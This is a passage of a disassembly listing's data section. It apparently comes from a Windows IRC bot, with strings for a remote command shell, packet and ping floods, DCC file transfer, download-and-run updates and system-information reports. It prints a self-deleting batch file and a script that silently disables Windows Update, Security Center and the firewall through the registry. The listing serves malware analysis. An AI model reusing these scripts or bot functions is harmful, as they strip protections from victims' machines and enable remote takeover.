aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4084F4+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_4085B9+5o
					; sub_412A14+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40863B+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4086DF+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_408701+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408701+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_408701+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_408889+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408889+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_428698	db    2			; DATA XREF: sub_40897F:loc_408A3Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNotSupportedBy	db 'Not supported by this system.',0
		align 4
unk_4286D8	db    2			; DATA XREF: sub_40897F:loc_408A0Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aUnableToAlloca	db 'Unable to allocation ARP cache.',0
unk_428718	db    2			; DATA XREF: sub_40897F:loc_4089D8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aArpCacheIsEmpt	db 'ARP cache is empty.',0
unk_42874C	db    2			; DATA XREF: sub_40897F+49o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorGettingAr	db 'Error getting ARP cache: <%d>.',0
		align 4
unk_42878C	db    2			; DATA XREF: sub_408B03+13Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 69h
		db  6Eh	; n
		db 67h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFinishedSendin	db 'Finished sending pings to %s.',0
		align 4
unk_4287C8	db    2			; DATA XREF: sub_408B03+6Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 69h
		db  6Eh	; n
		db 67h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPi	db 'Error sending pings to %s.',0
		align 10h
unk_428800	db    2			; DATA XREF: sub_408C8F+1C6o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	75h, 64h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
unk_42883C	db    2			; DATA XREF: sub_408C8F+8Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	75h, 64h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_408F0D+33o
unk_428884	db    2			; DATA XREF: sub_408F94:loc_4090CAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
unk_4288C4	db    2			; DATA XREF: sub_408F94+113o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_4288FC	db    2			; DATA XREF: sub_408F94:loc_40907Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_42893C	db    2			; DATA XREF: sub_4090ED+194o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
unk_428980	db    2			; DATA XREF: sub_4090ED+14Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRemoteCommandP	db '  Remote Command Prompt',0
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_4090ED+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_4092A2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_4093C1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_4093C1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4093C1:loc_409525o
		align 4
word_428AC4	dw 3Fh			; DATA XREF: sub_4093C1:loc_4094C3r
					; sub_40A9A6+1Fo
		align 4
dword_428AC8	dd 28207325h, 297325hdword_428AD0	dd 3F3F3Fh						; seg001:loc_4129C5o
a2003		db '2003',0             ; DATA XREF: sub_4093C1+BAo
					; seg001:0042A618o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4093C1+AAo
					; seg001:004129B0o ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_4093C1+98o
					; seg001:004129A0o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4093C1+7Eo
					; seg001:00412987o
		align 4
a98		db '98',0               ; DATA XREF: sub_4093C1+6Co
					; seg001:00412977o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4093C1+5Ao
					; seg001:00412967o
		align 10h
a95		db '95',0               ; DATA XREF: sub_4093C1+46o
					; seg001:00412959o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_409675+ABo
		align 4
off_428B34	dd offset loc_412F4B+3	; DATA XREF: sub_409675:loc_4096E9o
off_428B38	dd offset dword_4E414C	; DATA XREF: sub_409675:loc_4096E2o
dword_428B3C	dd 6C616944h, 70752Dhdword_428B44	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_428B54	dd 202E6425h, 3D207325h, 732520hdword_428B60	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409833+60o
		align 4
dword_428B94	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 702E7367h, 671F6C1Fh
					; DATA XREF: sub_4098D3+1Ao
		dd 0BB022029h, 202002BBh, 656C4320h, 64657261h,	2Eh
dword_428BBC	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch
					; DATA XREF: sub_409913+DCo
		dd 0BBBB0220h, 4C202002h, 20747369h, 706D6F63h,	6574656Ch
		dd 2Eh
dword_428BE8	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch
					; DATA XREF: sub_409913+3Fo
		dd 0BBBB0220h, 42202002h, 6E696765h, 2 dup(0)
dword_428C10	dd 78h				align 8
dword_428C18	dd 80000002h, 42A3F8h, 80000002h, 42A428h, 80000001h, 42A460h
					; DATA XREF: sub_409A42+7o
unk_428C30	db    2			; DATA XREF: sub_409A42+63o
					; sub_409BFD+170o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
unk_428C74	db    2			; DATA XREF: sub_409BFD+ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenRe	db '  Failed to open remote command shell.',0
unk_428CB4	db    2			; DATA XREF: sub_409BFD+47o
					; sub_409DBE+FDo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_428CE8	dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_409DBE+362o
					; sub_40A160+159o
		dd 0BBBB0220h, 53202002h, 656B636Fh, 72652074h,	2E726F72h
		dd 0
unk_428D14	db    2			; DATA XREF: sub_409DBE+2FAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
		align 4
unk_428D68	db    2			; DATA XREF: sub_409DBE+202o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_428D9C	dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_409DBE+1CBo
		dd 0BBBB0220h, 53202002h, 20646E65h, 656D6974h,	2E74756Fh
		dd 0
dword_428DC8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_409DBE+16Ao
		dd 169h
unk_428DE0	db    2			; DATA XREF: sub_409DBE+127o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 10h
unk_428E10	db    2			; DATA XREF: sub_409DBE+82o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToBindTo	db '  Failed to bind to socket.',0
		align 4
unk_428E48	db    2			; DATA XREF: sub_409DBE+44o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToCreate	db '  Failed to create socket.',0
unk_428E7C	db    2			; DATA XREF: sub_40A160+1D8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
unk_428ED0	db    2			; DATA XREF: sub_40A160+CEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorOpeningSo	db '  Error opening socket.',0
		align 4
unk_428F04	db    2			; DATA XREF: sub_40A160+ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
off_428F40	dd offset byte_622B61	; DATA XREF: sub_40A160+97o
unk_428F44	db    2			; DATA XREF: sub_40A160+83o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_428F84	db    2			; DATA XREF: sub_40A3AD+4DBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aBadUrlOrDnsErr	db 'Bad URL, or DNS Error: %s.',0
		align 10h
unk_428FC0	db    2			; DATA XREF: sub_40A3AD+4CDo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aUpdateFailedEr	db 'Update failed: Error executing file: %s.',0
		align 4
unk_42900C	db    2			; DATA XREF: sub_40A3AD+40Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDownloaded_1fk	db 'Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
dword_42905C	dd 5B027302h, 5D1F491Fh, 6F642820h, 6F6C6E77h, 702E6461h
					; DATA XREF: sub_40A3AD+397o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 6E65704Fh,	203A6465h
		dd 2E7325h
aOpen		db 'open',0             ; DATA XREF: sub_40A3AD+372o
					; sub_40CC09+26EEo ...
		align 10h
unk_429090	db    2			; DATA XREF: sub_40A3AD+314o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDownloaded_1fK	db 'Downloaded %.1f KB to %s @ %.1f KB/sec.',0
unk_4290D8	db    2			; DATA XREF: sub_40A3AD+28Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
